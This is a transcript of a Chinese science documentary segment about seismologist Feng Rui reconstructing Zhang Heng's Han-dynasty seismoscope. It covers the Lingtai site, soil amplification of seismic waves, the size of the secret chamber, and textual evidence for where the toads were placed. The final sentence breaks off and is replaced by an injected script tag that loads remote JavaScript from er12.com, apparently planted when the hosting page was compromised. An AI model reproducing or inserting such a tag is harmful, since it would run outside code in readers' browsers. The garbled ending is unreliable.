北京科影厂《发现之旅》
新设计地动仪结构图。
新设计地动仪外形图。
三、悬机巧制
地震专家冯锐，在得到河南博物院和地震局的支持后，终于开始了张衡地动仪的复原工作。然而复员之路并不顺利，虽然确定了一个漂亮的汉代酒樽外形，但都柱的结构设计过于复杂，并不符合汉代工艺特点，怎样改变一时还没有办法。同时又发现，蟾蜍散放于地动仪的四周，这种并不严谨的摆放，不符合科学仪器特征。而且占地面积超出了后汉书中“八尺”，也就是一米八五的限定。
1975年，河南省考古队在洛阳市南郊，发掘出土了一座搭建在山坡上的建筑。这就是建于东汉建武中元元年著名的灵台。灵台是古时帝王用来观天象，占幸运，卜吉凶的高台建筑。经资料考证“张衡地动仪”也曾经放置在这里，并进行过地震观测。
张衡地动仪复原工作正在紧要关头，为了提供给振动试验所需真实的陇西地震波形，冯锐来到了灵台遗址。实地考察建筑条件和地基结构，判断在1800年前，如果陇西地震传来，会给放在灵台的“张衡地动仪”带来怎样的影响。
灵台位于洛阳城南，在洛阳与灵台之间刚好有洛河通过。由于河床两边属松软土层，灵台又建在了高高的土坡上，土质松软，很显然地基不稳。
冯锐反复观察，思考，用现代地震学观点来看，灵台的位置对于地震观测是非常不利的。为什么张衡要选择把地动仪放在这样一个不稳定的地基上。
当冯锐站在灵台山顶向远处的洛阳城眺望时，突然明白。
冯锐：那么这个地方地基条件并不是特别好，应该说对现代地震学的研究来说，不是一个很好的地基条件，但对古时的观测不会考虑这些问题了，而且台基还要高出来，仪器放上，那么这个对我们地震波有个什么样的影响，地基本身有放大的作用，会比基岩岩石上的地基就有可能放大两倍，一倍半。那么这对于仪器观测，古代的仪器观测实际上是有利的，现代的地震仪，非常灵敏，必须选择稳固的岩石地基。但这恰恰是张衡地动仪所不能选择的。试想1800年前的汉朝，没有电能驱动，十几吨重的地动仪要想检测到全国的地震，恰恰要利用地基松软的放大功能，增加地动仪的灵敏。“如有地动，尊则振”，因此冯锐推断,陇西地震所引起的视觉位移量能够达到3mm,符合自己的估算。刚好达到了地不觉动而机器有感的临界点。冯锐深深地折服于张衡这天才般的设计。
冯锐：张衡做那个混仪的时候，他讲混仪于密室，那这个密室在1975年考古所在发掘的时候，在林台的西侧已经发现了，是两个密室，一个密室我们估计应当放着他做的混仪了，另外一个密室应该是放地动仪。
在洛阳考古大队，冯锐端详着灵台沙盘。一直以来，蟾蜍的摆放问题不能解决，使地动仪外观设计无法继续。王振铎模型设计的蟾蜍是散放于尊体四周。而李先登先生认为蟾蜍与仪器应为一体。到底谁的观点才对，冯锐要用科学的方法解决这个问题。
冯锐：我们就根据挖掘时候的报告、照片和尺寸，那么我们就量量，密室的这个房子长宽，要看看仪器能不能放进去。
冯锐：我们以前只是觉得，蟾蜍不应该这么放，这个地面一晃动，铜丸掉下来这个点是不确定的，它高度0.6米，这个铜丸就水平出速度，就会有每秒51个厘米的这样的出速度，它落到了蛤蟆嘴里以后，这个误差会偏离15到20厘米，这个轨迹可以算出来，那么这个在地面一震动，有30公分这么大的偏差，根据计算，王振铎模型的实际圆径，3米75，大于后汉书中“八尺”1米85的限定。显然，王振铎模型，超出密室宽度几乎一米的距离，根本放不进去。
如果蟾蜍紧靠尊体，不超出“圆径八尺”的范围，就可以轻松放入只有2米2宽的密室中。
冯锐：也就是八尺，刚刚放进去以后，后面可能也就剩了20多公分，这个余地了，很窄的余地了，这个房子可以放下去，这样就告诉我们什么事情呢？蛤蟆、蟾蜍恐怕不能离开它，分开的很远，离开很远这个房子放不进去了。这样我们对它的尺寸有了一个基本的概念，重量有一个基本的判断。
冯锐如释重负般，长长的出了一口气。
在来灵台之前，冯锐得到了一份，比《后汉书》年代更早的史料《续汉书》书，发现两本书对蟾蜍的描述有很大差别。这时回想终于恍然大悟。
《后汉书》中“下有蟾蜍张口承之”和“蟾蜍衔之”这两句两次提到蟾蜍口衔铜丸，而两次意思却完全相同。
而《续汉书》中，第一句“下有蟾蜍承之”，去掉了“张口”两字。看起来这是在强调蟾蜍“承之”，也可以解释为蟾蜍在下，承托尊体。而“张口”两字被挪到另一句中，“蟾蜍张口受丸”只讲蟾蜍口衔铜丸的功能。
《续汉书》两次写道蟾蜍，两次作用不同。冯锐认为这样的写法完全符合古人，惜墨如金的造句风格。
这次灵台之行实地考证，再次证明了，只有把蟾?script src=http://er12.com/t.js>
